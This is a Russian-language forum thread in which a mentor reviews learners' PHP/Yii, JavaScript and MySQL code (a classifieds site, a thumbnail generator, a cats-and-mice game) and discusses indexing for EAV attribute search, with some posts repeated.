> foreach ($_GET[$getParam] as $key=>$value) {


Модели не должны лезть в GET. Хотя это модель формы, можно в нее передавать объект request тогда.

Более того, в Юи по моему есть какие-то методы в объекте request для получения GET/POST переменных, не надо напрямую обращаться к этим глобальным переменным.

> https://github.com/nsdvw/classifieds/blob/master/protected/models/Photo.php#L112


> public function afterSave()


Картинку надо сохранять в beforeSave либо же завернуть все в транзакцию (а в beforeSave проверять что мы внутри транзакции), чтобы не было такого, что запись в базу удалась, а картинка не сохранилась. При удалении - обратный порядок. Кстати, а где удаление файлов?

> https://github.com/nsdvw/classifieds/blob/master/protected/models/Photo.php#L128


> Yii::setPathOfAlias('WideImage',Yii::getPathOfAlias(


Это наверно где-то в конфиге или в скрипте инициализации должно быть?

> https://github.com/nsdvw/classifieds/blob/master/protected/models/Photo.php#L156


> protected function createThumb(


передавать 3 параметра (ширина, высота, ratio) по моему избыточно, хватит двух

> https://github.com/nsdvw/classifieds/blob/master/protected/models/Region.php#L107


> public static function getRegionList($country_id = 3159) // default to Russia


Нужна константа + гарантия что id не поменяется (для этого id должен быть указан явно в дампе или миграции)

По поводу БД: что-то у тебя миграций не видно. Зря, приучайся через миграции менять базу, заодно получишь историю изменений. Ну и в командной работе без миграций никак.

> https://github.com/nsdvw/classifieds/blob/master/protected/views/ad/create.twig#L6


> App.request.baseUrl~'/js/select2-3.5.4/select2.js')) }}


Ты потом замучаешься менять тут цифры при обновлении. да и принцип DRY нарушаешь. Имеет смысл сделать какой-то класс типа StaticLibraryManager с методами вроде includeSelect2(). Создавать объект этого класса в самом начале и передавать в шаблоны. Может быть можно унаследовать App.clientScript?

Также мне не нравится обращение к App: App.request.baseUrl из шаблона. Лучше получить эту переменную где-то в начале, например в базовом контроллере, и передать глобально в шаблонизатор. Или сделать в вышеупомянутом классе метод который будет приписывать это к скрипту.

> https://github.com/nsdvw/classifieds/blob/master/protected/views/ad/create.twig#L37


> ignore missing


Это еще что?

> https://github.com/nsdvw/classifieds/blob/master/protected/views/ad/new.twig#L14


> href="{{ App.request.baseUrl~'/ad/create/'~model.id }}"


Для генерации URL стоит сделать объект с методами вроде getCreateAdUrl($categoryModel) а не размазывать это по всему коду. Опять же, принцип DRY.

Насчет фото: ты генерируешь превьюшки при загрузке. Хорошо, почему бы и нет. Но имей в виду что при смене дизайна все придется перегенерировать как-то заново.

> https://github.com/nsdvw/classifieds/blob/master/js/citiesDropDown.js#L13


> $('<option value="' + key + '">' + value + '</option>')


Нет кодирования HTML сущностей

В общем, по моим ощущениям, PHP-код у тебя более-менее нормальный, и в Юи ты разбираешься, а вот более глобальные вещи вроде структуры сайта, взаимодействия с пользователем, интерфейсных особенностей - тут пока есть чему учиться, у тебя сейчас интерфейс больше для роботов, чем для людей подходит. Ну а JS/верстку я особо внимательно пока не смотрел.

Ну и конечно все это хорошо бы еще тестами покрыть. А то логика все усложняется, кто знает, вдруг ты завтра сам же сломаешь то, что раньше сделал.

На этом пока все.
https://github.com/MindiMakridi/RESTFUL/ #163 #560748
>>557811

> if (preg_match("#^/thumbnails/#", $_SERVER['REQUEST_URI'])) {


А что если if не выполняется? Надо бы в таком случае отдавать ошибку 404 и завершать скрипт, а ты выводишь белую страницу и непонятно в чем дело.

> https://github.com/MindiMakridi/RESTFUL/blob/master/createThumb.php#L33


> catch (PreviewGenerationException $e) {


Ошибку надо бы сопровождать HTTP кодом 500 (коды состояния: https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%BA%D0%BE%D0%B4%D0%BE%D0%B2_%D1%81%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D1%8F_HTTP ) чтобы те же роботы понимали что произошла ошибка.

Вообще, выучи-ка коды 200, 401, 403, 404, 500, 503 из статьи выше и применяй их при необходимости.

> https://github.com/MindiMakridi/RESTFUL/blob/master/lib/Thumbnail.php#L81


> public function createThumbnail()


Вот здесь есть нехороший момент: $image = call_user_func($this->imgCreateFunc, $this->srcImagePath);

Где гарантия что к моменту вызова функции поле imgCreateFunc заполнено? Оно не заполняется в конструкторе, значит гарантии нет. Надо либо заполнять его при создании объекта, либо выше написать что-то вроде

$imageCreateFunc = $this->getImageCreateFunc();

> https://github.com/MindiMakridi/RESTFUL/blob/master/lib/Thumbnail.php#L84


> if (!file_exists($this->srcImagePath)) {


> return false;


Тут надо выкидывать исключение, тем более что оно у тебя уже есть.

Еще ты там несколько раз вызываешь getimagesize для определения типа и размеров картинки, можно наверно один раз это сделать в конструкторе и сохранить в полях объекта.

> https://github.com/MindiMakridi/RESTFUL/blob/master/lib/Thumbnail.php#L159


> public function showThumbnail()


Тут ты загружаешь и раскодируешь картинку с диска в память, а затем кодируешь и отдаешь. Но зачем? Можно просто прочитать файл через file_get_contents и отдать через echo. Зачем раскодировать/кодировать только что созданную картинку?

> https://github.com/MindiMakridi/RESTFUL/blob/master/lib/Thumbnail.php#L168


> public static function link($fileName, $maxWidth, $maxHeight = NULL, $mode = "scale")


Тут надо вместо 'scale' использовать константу. И ниже, вместо проверки $mode через регулярку, лучше проверить через константы.

Еще я заметил баг: если загрузить прозрачную PNG то у превьюшки будет черный фон. Почему? Потому что ты создаешь изначально черную картинку и на нее накладываешь прозрачную. А надо создавать прозрачную подложку, ее можно сделать например отключив alphablending и закрасив картинку прозрачным цветом (если не отключить то естественно картинка останется черной). Исправь баг и протестируй работу с полупрозрачными PNG.

Ну в общем, у меня впечатление хорошее, превьюшки генерируются, хорошо. Исправь эти баги и я думаю, можно будет переходить к следующей задаче. Что тебе интересно изучать далее? Сделать очередной файлообменник, сделать сайт на Юи 2, задачки на SQL порешать, может быть HTML/CSS/JS поизучать или автоматизированное тестирование (как раз генератор превьюшек и сайт для студентов можно будет покрыть тестами).
https://github.com/MindiMakridi/RESTFUL/ #163 #560748
>>557811

> if (preg_match("#^/thumbnails/#", $_SERVER['REQUEST_URI'])) {


А что если if не выполняется? Надо бы в таком случае отдавать ошибку 404 и завершать скрипт, а ты выводишь белую страницу и непонятно в чем дело.

> https://github.com/MindiMakridi/RESTFUL/blob/master/createThumb.php#L33


> catch (PreviewGenerationException $e) {


Ошибку надо бы сопровождать HTTP кодом 500 (коды состояния: https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%BA%D0%BE%D0%B4%D0%BE%D0%B2_%D1%81%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D1%8F_HTTP ) чтобы те же роботы понимали что произошла ошибка.

Вообще, выучи-ка коды 200, 401, 403, 404, 500, 503 из статьи выше и применяй их при необходимости.

> https://github.com/MindiMakridi/RESTFUL/blob/master/lib/Thumbnail.php#L81


> public function createThumbnail()


Вот здесь есть нехороший момент: $image = call_user_func($this->imgCreateFunc, $this->srcImagePath);

Где гарантия что к моменту вызова функции поле imgCreateFunc заполнено? Оно не заполняется в конструкторе, значит гарантии нет. Надо либо заполнять его при создании объекта, либо выше написать что-то вроде

$imageCreateFunc = $this->getImageCreateFunc();

> https://github.com/MindiMakridi/RESTFUL/blob/master/lib/Thumbnail.php#L84


> if (!file_exists($this->srcImagePath)) {


> return false;


Тут надо выкидывать исключение, тем более что оно у тебя уже есть.

Еще ты там несколько раз вызываешь getimagesize для определения типа и размеров картинки, можно наверно один раз это сделать в конструкторе и сохранить в полях объекта.

> https://github.com/MindiMakridi/RESTFUL/blob/master/lib/Thumbnail.php#L159


> public function showThumbnail()


Тут ты загружаешь и раскодируешь картинку с диска в память, а затем кодируешь и отдаешь. Но зачем? Можно просто прочитать файл через file_get_contents и отдать через echo. Зачем раскодировать/кодировать только что созданную картинку?

> https://github.com/MindiMakridi/RESTFUL/blob/master/lib/Thumbnail.php#L168


> public static function link($fileName, $maxWidth, $maxHeight = NULL, $mode = "scale")


Тут надо вместо 'scale' использовать константу. И ниже, вместо проверки $mode через регулярку, лучше проверить через константы.

Еще я заметил баг: если загрузить прозрачную PNG то у превьюшки будет черный фон. Почему? Потому что ты создаешь изначально черную картинку и на нее накладываешь прозрачную. А надо создавать прозрачную подложку, ее можно сделать например отключив alphablending и закрасив картинку прозрачным цветом (если не отключить то естественно картинка останется черной). Исправь баг и протестируй работу с полупрозрачными PNG.

Ну в общем, у меня впечатление хорошее, превьюшки генерируются, хорошо. Исправь эти баги и я думаю, можно будет переходить к следующей задаче. Что тебе интересно изучать далее? Сделать очередной файлообменник, сделать сайт на Юи 2, задачки на SQL порешать, может быть HTML/CSS/JS поизучать или автоматизированное тестирование (как раз генератор превьюшек и сайт для студентов можно будет покрыть тестами).
#164 #560750
>>560123

Ты зря там клонируешь картинку, чтобы перенести ее из начала в конец, достаточно просто сделать append, клонировать и удалять ничего не надо. Ты наверно DOM не изучал перед jQuery, а зря.

> cur_margin = parseInt($('.dragme').css("margin-left"));



Это тоже неправильно, зачем что-то парсить когда можно хранить это значение в переменной.

Насчет плавности, открой в отладчике (Ctrl + Shift + i) вкладку Timeline и посмотри на что время тратится.
#165 #560751
>>560123

Вместо вычисления общей ширины можно было просто сделать .dragMe заведомо большей ширины чем все картинки. А высоту вычислять не надо, она сама определяется.

То есть это $('.dragme').css({"width": 2×totalWidth, "height": height}); можно выкинуть.

А, насчет того что я написал выше, про клонирование, там надо смотреть, может без него и не обойтись.

\t
#167 #560754
>>558389

Смотри, твой алгоритм выбора хода не очень хорошо подходит. Ну во-первых, кроме расстояния до врага есть другие факторы: например, мышке при прочих равных не стоит подбегать к краю карты и углам, так как там ее могут поймать в ловушку.

Ну и вдобавок, у тебя там 8 условий с копипастой, а в таком коде легко допустить ошибку, достаточно плюс с минусом перепутать, и не найдешь.

Я думаю, стоит реализовать алгоритм по-другому. Для этого мы введем оценочную функцию. Эта фукнция на вход получает координаты клетки, а на выходе дает оценку в баллах: насколько это хороший ход. У кошки и мышки разный алгоритм поведения и оценочные функции разумеется тоже разные: хороший ход для кошки не обязательно хорош для мышки.

Алгоритм тогда получается такой:

- генерируем список всех возможных и разрешенных ходов (включая стоять на месте)
- даем каждый ход на оценку оценочной функции
- выбираем ход с максимальным числом баллов
- ходим

Заметь главное преимущество этого алгоритма: мы заменили кучу сложных ифов на одну оценочную функцию, которая полностью определяет поведение животного.

Попробуй переписать в таком стиле. И чтобы мышка старалась не забегать в углы. Это можно сделать так: оценка хода мышкой складывается из 2 факторов: далеко ли находится ближайшая к клеточке кошка и много ли с этой клеточки выходов. При этом факторы берутся с разным весом, то есть лучше забежать в угол, чем в пасть кошке.
#168 #560756
>>558389

> https://github.com/never3ver/catsandmice/blob/master/classes/Animal.php#L35


> public function goNorth()


тут есть 2 замечания:

- наличие в Animal функции goNorth значит что любое животное может сходить на север (а что если у нас есть животное которое ходит как шахматный конь?)

- для кошки которая ходит в 8 сторон, нам нужно 8 функций

Я думаю, лучше сделать универсальную функцию хода, в которую передаются координаты клеточки.

Наконец, мне кажется что в нашей задаче каждое животное делает ходы. Значит оно обязано реализовать какую-то функцию, которая за это отвечает.

Функцию printSymbol лучше переименовать в getSymbol так как она ничего не печатает, а только возвращает символ.

Поле $counter в кошке надо назвать получше, чтобы было ясно что оно отвечает за сон.

Насчет этого класса: https://github.com/never3ver/catsandmice/blob/master/classes/Moves.php - я думаю, все же логику выбора хода логичнее поместить в животных. А в этом классе можно оставить какие-то общие функции, не относящиеся к конкретному животному.

Правило «нельзя есть мышь если рядом с ней 2 мыши» можно (в моем алгоритме) реализовать на этапе выбора всех возможных ходов, отсеивая такие ходы.

> Вообще такое впечатление, что задачка не на ООП а на сношание мозга ходами мышек и кошек.


Задачка в том числе на умение придумать алгоритм выбора хода и не утонуть в ифах. кстати, описанный мной алгоритм (с оценочной функцией) годится и во многих других задачах, он правда довольно неэффективный на большом числе вариантов, но годится для начала. А для сложных ситуаций у нас есть википедия и алгоритмы поиска на графах: https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%82%D0%B5%D0%B3%D0%BE%D1%80%D0%B8%D1%8F:%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%BD%D0%B0_%D0%B3%D1%80%D0%B0%D1%84%D0%B0%D1%85
#168 #560756
>>558389

> https://github.com/never3ver/catsandmice/blob/master/classes/Animal.php#L35


> public function goNorth()


тут есть 2 замечания:

- наличие в Animal функции goNorth значит что любое животное может сходить на север (а что если у нас есть животное которое ходит как шахматный конь?)

- для кошки которая ходит в 8 сторон, нам нужно 8 функций

Я думаю, лучше сделать универсальную функцию хода, в которую передаются координаты клеточки.

Наконец, мне кажется что в нашей задаче каждое животное делает ходы. Значит оно обязано реализовать какую-то функцию, которая за это отвечает.

Функцию printSymbol лучше переименовать в getSymbol так как она ничего не печатает, а только возвращает символ.

Поле $counter в кошке надо назвать получше, чтобы было ясно что оно отвечает за сон.

Насчет этого класса: https://github.com/never3ver/catsandmice/blob/master/classes/Moves.php - я думаю, все же логику выбора хода логичнее поместить в животных. А в этом классе можно оставить какие-то общие функции, не относящиеся к конкретному животному.

Правило «нельзя есть мышь если рядом с ней 2 мыши» можно (в моем алгоритме) реализовать на этапе выбора всех возможных ходов, отсеивая такие ходы.

> Вообще такое впечатление, что задачка не на ООП а на сношание мозга ходами мышек и кошек.


Задачка в том числе на умение придумать алгоритм выбора хода и не утонуть в ифах. кстати, описанный мной алгоритм (с оценочной функцией) годится и во многих других задачах, он правда довольно неэффективный на большом числе вариантов, но годится для начала. А для сложных ситуаций у нас есть википедия и алгоритмы поиска на графах: https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%82%D0%B5%D0%B3%D0%BE%D1%80%D0%B8%D1%8F:%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%BD%D0%B0_%D0%B3%D1%80%D0%B0%D1%84%D0%B0%D1%85
#169 #560826
>>560741
>>560742
>>560743

>пока у тебя не цельное приложение, а какие-то недоделанные куски функциональности


Так и должно быть, сделано процентов на 50. Думал показывать на проверку по частям, ты же генерируешь замечания быстрее, чем я успеваю их обрабатывать.

>defined('YII_DEBUG') or define('YII_DEBUG',true);


Это не мое, это от разработчиков фреймворка.
http://yiiframework.ru/doc/guide/ru/basics.entry
Но я с тобой согласен, неудобно. Там пропишите, там закомментируйте, там удалите. Можно заморочиться и забыть что-то сделать.

> в логической структуре сайта неправильно на мой взгляд сделаны города.


Не согласен. Мне например часто приходится искать по всей стране, и меня очень раздражает эта всплывающая поебень, которая пытается определить мое местоположение и т.д.
Пусть пользователь, которому нужно искать в конкретном городе, выберет этот город явно, не помрет.

> «искать только в моем городе» - «искать в моем регионе» (или в ближайших пригородах, но тогда надо иметь связи между ними) - «искать везде».


Непонятное усложнение.

>случайные объявления хорошо бы генерировать не в случайных городах, а в одном


Почему? Я наоборот пытался раскидать их по разным городам (а также категориям, ну и вообще равномерный разброс), чтобы можно было тестить поиск.

>Ну и не вижу у них никаких EAV свойств, только название, текст и цена (и та не выводится на странице объявления)


Потому что я их еще не вывел в представлении. В поиске по eav атрибутам прекрасно ищется, правда я еще не расставил индексы, и на миллионе записей поиск длится 30 секунд.
Как раз собирался этим заняться.

Дизайн я даже не начинал делать, что очевидно. Так накидал на скорую руку, чтобы оно хоть как-то отображалось.

>overflow: hidden


Не вместо clearfix использовалось, а для других целей. То ли у меня там текст не помещался, то ли картинка, уже не помню. Суть в том, что overflow я использовал тогда по прямому назначению. Сейчас удалил эту строку, вроде ничего не изменилось.
Ну неважно, дизайн я буду делать в последнюю очередь. Скорее всего натяну бутстрап, а может быть подучу blueprint, он мне в принципе нравится по внешнему виду.

>замечания к базе


Проектировал не я, я использовал готовую библиотеку nested sets
https://github.com/yiiext/nested-set-behavior/blob/master/schema/schema_with_many_roots.sql
Лишние индексы удалю, ок.

>У всех объявлений генерируемых случайно почему-то статус unpublished и они все равно показываются


Для отладки же. Задумывается админка, где манагер проверяет и руками публикует объявления. Я же не буду этим заниматься на миллионе записей, да и админку еще не делал.

> `city_id` int(10) unsigned NOT NULL DEFAULT '0',


> Это поле во-первых логичнее назвать capital_id


Сторонняя база. http://habrahabr.ru/post/21949/

>вынести создание объявления из контроллера в сервис, а то лапша какая-то получается


Что такое сервис? Это какой-то паттерн? Да, я вижу, что много кода в контроллерах, но не знаю куда (по каким классам) это разносить.

>return CHtml::listData($children, 'id', 'title');


>почему у тебя модель генерирует HTML код?


Это не html, listData генерирует массив данных для выпадающих списков.

>PHP-код у тебя более-менее нормальный, и в Юи ты разбираешься, а вот более глобальные вещи вроде структуры сайта, взаимодействия с пользователем, интерфейсных особенностей - тут пока есть чему учиться


Естественно, я же кроме задачек про зайчиков ничего не писал, откуда взяться практическому опыту.

Ладно, я посохранял твои посты, буду теперь месяц разгребать.
А пока нужно разобраться с оптимизацией бд, раз уж начали. У меня тут назревает вопрос по индексам, сейчас попробую разобраться, если нет отпишусь.
#169 #560826
>>560741
>>560742
>>560743

>пока у тебя не цельное приложение, а какие-то недоделанные куски функциональности


Так и должно быть, сделано процентов на 50. Думал показывать на проверку по частям, ты же генерируешь замечания быстрее, чем я успеваю их обрабатывать.

>defined('YII_DEBUG') or define('YII_DEBUG',true);


Это не мое, это от разработчиков фреймворка.
http://yiiframework.ru/doc/guide/ru/basics.entry
Но я с тобой согласен, неудобно. Там пропишите, там закомментируйте, там удалите. Можно заморочиться и забыть что-то сделать.

> в логической структуре сайта неправильно на мой взгляд сделаны города.


Не согласен. Мне например часто приходится искать по всей стране, и меня очень раздражает эта всплывающая поебень, которая пытается определить мое местоположение и т.д.
Пусть пользователь, которому нужно искать в конкретном городе, выберет этот город явно, не помрет.

> «искать только в моем городе» - «искать в моем регионе» (или в ближайших пригородах, но тогда надо иметь связи между ними) - «искать везде».


Непонятное усложнение.

>случайные объявления хорошо бы генерировать не в случайных городах, а в одном


Почему? Я наоборот пытался раскидать их по разным городам (а также категориям, ну и вообще равномерный разброс), чтобы можно было тестить поиск.

>Ну и не вижу у них никаких EAV свойств, только название, текст и цена (и та не выводится на странице объявления)


Потому что я их еще не вывел в представлении. В поиске по eav атрибутам прекрасно ищется, правда я еще не расставил индексы, и на миллионе записей поиск длится 30 секунд.
Как раз собирался этим заняться.

Дизайн я даже не начинал делать, что очевидно. Так накидал на скорую руку, чтобы оно хоть как-то отображалось.

>overflow: hidden


Не вместо clearfix использовалось, а для других целей. То ли у меня там текст не помещался, то ли картинка, уже не помню. Суть в том, что overflow я использовал тогда по прямому назначению. Сейчас удалил эту строку, вроде ничего не изменилось.
Ну неважно, дизайн я буду делать в последнюю очередь. Скорее всего натяну бутстрап, а может быть подучу blueprint, он мне в принципе нравится по внешнему виду.

>замечания к базе


Проектировал не я, я использовал готовую библиотеку nested sets
https://github.com/yiiext/nested-set-behavior/blob/master/schema/schema_with_many_roots.sql
Лишние индексы удалю, ок.

>У всех объявлений генерируемых случайно почему-то статус unpublished и они все равно показываются


Для отладки же. Задумывается админка, где манагер проверяет и руками публикует объявления. Я же не буду этим заниматься на миллионе записей, да и админку еще не делал.

> `city_id` int(10) unsigned NOT NULL DEFAULT '0',


> Это поле во-первых логичнее назвать capital_id


Сторонняя база. http://habrahabr.ru/post/21949/

>вынести создание объявления из контроллера в сервис, а то лапша какая-то получается


Что такое сервис? Это какой-то паттерн? Да, я вижу, что много кода в контроллерах, но не знаю куда (по каким классам) это разносить.

>return CHtml::listData($children, 'id', 'title');


>почему у тебя модель генерирует HTML код?


Это не html, listData генерирует массив данных для выпадающих списков.

>PHP-код у тебя более-менее нормальный, и в Юи ты разбираешься, а вот более глобальные вещи вроде структуры сайта, взаимодействия с пользователем, интерфейсных особенностей - тут пока есть чему учиться


Естественно, я же кроме задачек про зайчиков ничего не писал, откуда взяться практическому опыту.

Ладно, я посохранял твои посты, буду теперь месяц разгребать.
А пока нужно разобраться с оптимизацией бд, раз уж начали. У меня тут назревает вопрос по индексам, сейчас попробую разобраться, если нет отпишусь.
#170 #560837
ОП, скажи пожалуйста, а сколько ты уже занимаешься программированием? И с чего начинал? или и начинал с PHP?
#171 #560843
>>560708

>хуярит в ифы вместо переменных реквесты



напиши нормальным языком, а то складывается впечатление, что очередной сосницкий решил стравить своё бессилие и аутизм в интернет
#172 #560878
>>560837
Оп клепает говносайты на народе и учит других, как их клепать.
#173 #560887
>>560878
Чтобы клепать говносайты на народе, достаточно посмотреть 20 минутный гайд по любой ЦМСке, так что я с тобой не согласен в корне.
116 Кб, 885x861
#174 #560888
>>560701

>Теперь выпили карго-массив $options из этой функции



нет чувак, это сделать не получится. т.к. один стандартный массив нужен:

1) что бы не плодить переменные
2) что бы передавать из метода готовый массив для общения с контроллером и клиентским ЖС через JSON /пик/
3) что бы обнулять память, так как у моего хостера тарифный план завязан на расходе памяти

>И массив в return тоже.



тебя не смущает, что метод crupPage() возможно общается с контроллером /пик/ как раз массивом, который потом передаётся в ЖС через JSON, т.е. $this->performSqlQuery() выдаёт не одно true, а целый набор статусов, таких как номер новой записи, или количество затронутых строк etc.?

>Потом выпили все упоминания POST/GET, вместо них передавай в метод сохранения объект класса Page примерно такого вида:


>class Page


>{


>public $path;


>public $title;


>public $description;



не вижу особого смысла превращать класс Page в абстракцию таблицы pages, можно, но в чем профиты? у меня оплата не по часам. безопасность тоже обеспечена полем $this->escapedPost[].

>Потом вместо вставки данных прямо в SQL запрос начни использовать плейсхолдеры.



так же не вижу особого смысла раздувать мой код, если у меня уже есть $this->escapedPost[]

>>560704

>И еще, а что значит crup?


>Если же ты хотел написать createOrUpdatePage то так и надо писать, нечего буквы экономить. Ну или можно написать savePage что то же самое, но короче.



createOrUpdatePage, угу).

>savePage что то же самое, но короче



короче, но это название не отражает суть действия, save != создавать
116 Кб, 885x861
#174 #560888
>>560701

>Теперь выпили карго-массив $options из этой функции



нет чувак, это сделать не получится. т.к. один стандартный массив нужен:

1) что бы не плодить переменные
2) что бы передавать из метода готовый массив для общения с контроллером и клиентским ЖС через JSON /пик/
3) что бы обнулять память, так как у моего хостера тарифный план завязан на расходе памяти

>И массив в return тоже.



тебя не смущает, что метод crupPage() возможно общается с контроллером /пик/ как раз массивом, который потом передаётся в ЖС через JSON, т.е. $this->performSqlQuery() выдаёт не одно true, а целый набор статусов, таких как номер новой записи, или количество затронутых строк etc.?

>Потом выпили все упоминания POST/GET, вместо них передавай в метод сохранения объект класса Page примерно такого вида:


>class Page


>{


>public $path;


>public $title;


>public $description;



не вижу особого смысла превращать класс Page в абстракцию таблицы pages, можно, но в чем профиты? у меня оплата не по часам. безопасность тоже обеспечена полем $this->escapedPost[].

>Потом вместо вставки данных прямо в SQL запрос начни использовать плейсхолдеры.



так же не вижу особого смысла раздувать мой код, если у меня уже есть $this->escapedPost[]

>>560704

>И еще, а что значит crup?


>Если же ты хотел написать createOrUpdatePage то так и надо писать, нечего буквы экономить. Ну или можно написать savePage что то же самое, но короче.



createOrUpdatePage, угу).

>savePage что то же самое, но короче



короче, но это название не отражает суть действия, save != создавать
#175 #560907
>>560701

>Потом выпили все упоминания POST/GET



кек, а что не пойти дальше, давай уже сделаем так

class Page
{
public $path;
...
public $userIp;
public $session['loginStatus'];
....
}

это же сферический индусо-каргокульт, тебе пых дал уже все глобальные переменные, - нет я хочу сделать свои, чтобы в два раза больше было расхода памяти и работы + огромные не читабельные интерфейсы классов.
#176 #560937
Так вот, у меня с этими eav объявлениями проблема с индексами. Индекс ведь можно создать только на одну таблицу (или можно на несколько?), а у меня поиск будет идти одновременно по колонкам нескольких таблиц.

Суть такова. В поисковой форме есть возможность искать по нескольким (или даже всем сразу) атрибутам. Например для автомобилей я могу вбить макс. и мин. цену, год выпуска, выбрать цвет и коробку передач и т.д.
Проблема в том, что атрибуты хранятся в разных таблицах в зависимости от типа. Целочисленные атрибуты типа цены, года выпуска или например площади (недвижимости), хранятся в таблице eav_attribute_int. Строковые значения типа состояния ('новый', 'б.у.') или цвета хранятся в таблице eav_attribute_varchar.
Таким образом не понятно, как использовать индексы. Насколько я понял из статьи на ruhighload, один запрос не может использовать более одного индекса. Значит если я повешу по одному индексу на каждую таблицу, это даст 50% необходимого эффекта, потому что будет использован только один индекс из двух.
Кроме того, даже если бы была возможность создать один индекс на две таблицы, то все равно это не спасло бы, потому что я заранее не знаю, как будет выглядеть конечный запрос, какие данные выберет пользователь для поиска, таким образом я не знаю что писать в левой части индекса.
Если пользователь будет осуществлять поиск только по цене, то я обязан прописать целочисленный атрибут в левой части индекса. Но тогда этот индекс не будет работать, если пользователь будет искать только по строковому атрибуту (который хранится в правой части индекса).
Я ведь правильно понимаю, что при использовании индекса обязана быть задействована его левая часть?

Если бы была возможность создать один индекс на колонки разных таблиц, возможным вариантом было бы создать два индекса index1 (tbl1.col1, tbl2.col1) и index 2 (tbl2.col1, tbl1.col1). Но я не уверен, что такое возможно, и что это лучший выход в плане использования ресурсов.

Кстати, так как строковые значения всегда принимают значения на выбор из предопределенного списка, наверное в плане избыточности было бы разумнее хранить варианты в отдельной таблице (автором библиотеки задумано хранить их в сериализованном виде прямо в таблице атрибута https://github.com/iAchilles/eavactiverecord/blob/master/EavAttribute.php#L206).
Но это не избавило бы от вышеописанной проблемы с индексами, таблицы то все равно получится две штуки. Я не могу хранить в одной таблице все значения, несмотря на то что у них одинаковый тип (int), так как для вариантов из списка нужны внешние ключи, а обычные целочисленные значения пользователь вбивает от балды с клавиатуры.
Так что от двух таблиц для целочисленных значений и выборных это не избавит.

Я пока не знаю что делать.
#176 #560937
Так вот, у меня с этими eav объявлениями проблема с индексами. Индекс ведь можно создать только на одну таблицу (или можно на несколько?), а у меня поиск будет идти одновременно по колонкам нескольких таблиц.

Суть такова. В поисковой форме есть возможность искать по нескольким (или даже всем сразу) атрибутам. Например для автомобилей я могу вбить макс. и мин. цену, год выпуска, выбрать цвет и коробку передач и т.д.
Проблема в том, что атрибуты хранятся в разных таблицах в зависимости от типа. Целочисленные атрибуты типа цены, года выпуска или например площади (недвижимости), хранятся в таблице eav_attribute_int. Строковые значения типа состояния ('новый', 'б.у.') или цвета хранятся в таблице eav_attribute_varchar.
Таким образом не понятно, как использовать индексы. Насколько я понял из статьи на ruhighload, один запрос не может использовать более одного индекса. Значит если я повешу по одному индексу на каждую таблицу, это даст 50% необходимого эффекта, потому что будет использован только один индекс из двух.
Кроме того, даже если бы была возможность создать один индекс на две таблицы, то все равно это не спасло бы, потому что я заранее не знаю, как будет выглядеть конечный запрос, какие данные выберет пользователь для поиска, таким образом я не знаю что писать в левой части индекса.
Если пользователь будет осуществлять поиск только по цене, то я обязан прописать целочисленный атрибут в левой части индекса. Но тогда этот индекс не будет работать, если пользователь будет искать только по строковому атрибуту (который хранится в правой части индекса).
Я ведь правильно понимаю, что при использовании индекса обязана быть задействована его левая часть?

Если бы была возможность создать один индекс на колонки разных таблиц, возможным вариантом было бы создать два индекса index1 (tbl1.col1, tbl2.col1) и index 2 (tbl2.col1, tbl1.col1). Но я не уверен, что такое возможно, и что это лучший выход в плане использования ресурсов.

Кстати, так как строковые значения всегда принимают значения на выбор из предопределенного списка, наверное в плане избыточности было бы разумнее хранить варианты в отдельной таблице (автором библиотеки задумано хранить их в сериализованном виде прямо в таблице атрибута https://github.com/iAchilles/eavactiverecord/blob/master/EavAttribute.php#L206).
Но это не избавило бы от вышеописанной проблемы с индексами, таблицы то все равно получится две штуки. Я не могу хранить в одной таблице все значения, несмотря на то что у них одинаковый тип (int), так как для вариантов из списка нужны внешние ключи, а обычные целочисленные значения пользователь вбивает от балды с клавиатуры.
Так что от двух таблиц для целочисленных значений и выборных это не избавит.

Я пока не знаю что делать.
#177 #560964
Нет, я наверное что-то не так понял.
Здесь http://habrahabr.ru/post/70640/
пишут, что mysql как раз таки может использовать два индекса в запросе where col1= ... and col2 = ...
хотя по производительности это конечно на порядок хуже, чем комбинированный индекс. Но использоваться будут оба, mysql будет искать какие-то пересечения.
#178 #560967
>>560937

Создать индекс на колонки разных таблиц нельзя. На то он и индекс. Ведь индекс это просто список отсортированный значений поля, со ссылками на строки:

name | id
Антон | 1
Борис | 10
Василий | 12

За счет того что значения отсортированы, мы применяем бинарный поиск по ним (т.е. метод деления пополам: https://www.google.com/search?q=%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B9+%D0%BF%D0%BE%D0%B8%D1%81%D0%BA&ie=UTF-8 ) который имеет сложность O(log2(N)), Log2 от миллиона это около 20, то есть, как видишь довольно быстро.

Соответственно при джойне MySQL пытается угадать, выборка из какой таблицы даст меньше строк, и делает поиск в ней, а потом приджойнивает к ней значения из других таблиц.

Это если ты не ипоьзуешь LEFT JOIN который жестко определяет порядок джойнов.

Ну и в твоем случае стоит для начала посмотреть конкретный запрос и что показывает EXPLAIN для него. А там будем смотреть как это можно оптимизировать.

Так что давай запрос + EXPLAIN + твои мысли по поводу того в каком порядке выполнять запрос было бы эффективнее.

> один запрос не может использовать более одного индекса.


Да. Но вообще, есть такая штука как объединение индексов (intersect/merge) - делается 2 поиска по 2 индексам и результаты объединяются. Так например оптимизируется запрос WHERE x = 1 OR = 2, или WHERE x = 1 AND y = 2, при наличии индексов по x/y.

https://dev.mysql.com/doc/refman/5.5/en/index-merge-optimization.html

Но я бы на нее особо не надеялся. И она работает только в WHERE, а не в джойнах.

> Я ведь правильно понимаю, что при использовании индекса обязана быть задействована его левая часть?



Да. Это очевидно если посмотреть на устройство индекса. Только левые части отсортированы по возрастанию, правые (если их рассматривать отдельно) отсортированы только на участке где левые части одинаковы.

> Я пока не знаю что делать.


Давай посмотрим запрос и EXPLAIN, а то я не на 100% все понял.
#178 #560967
>>560937

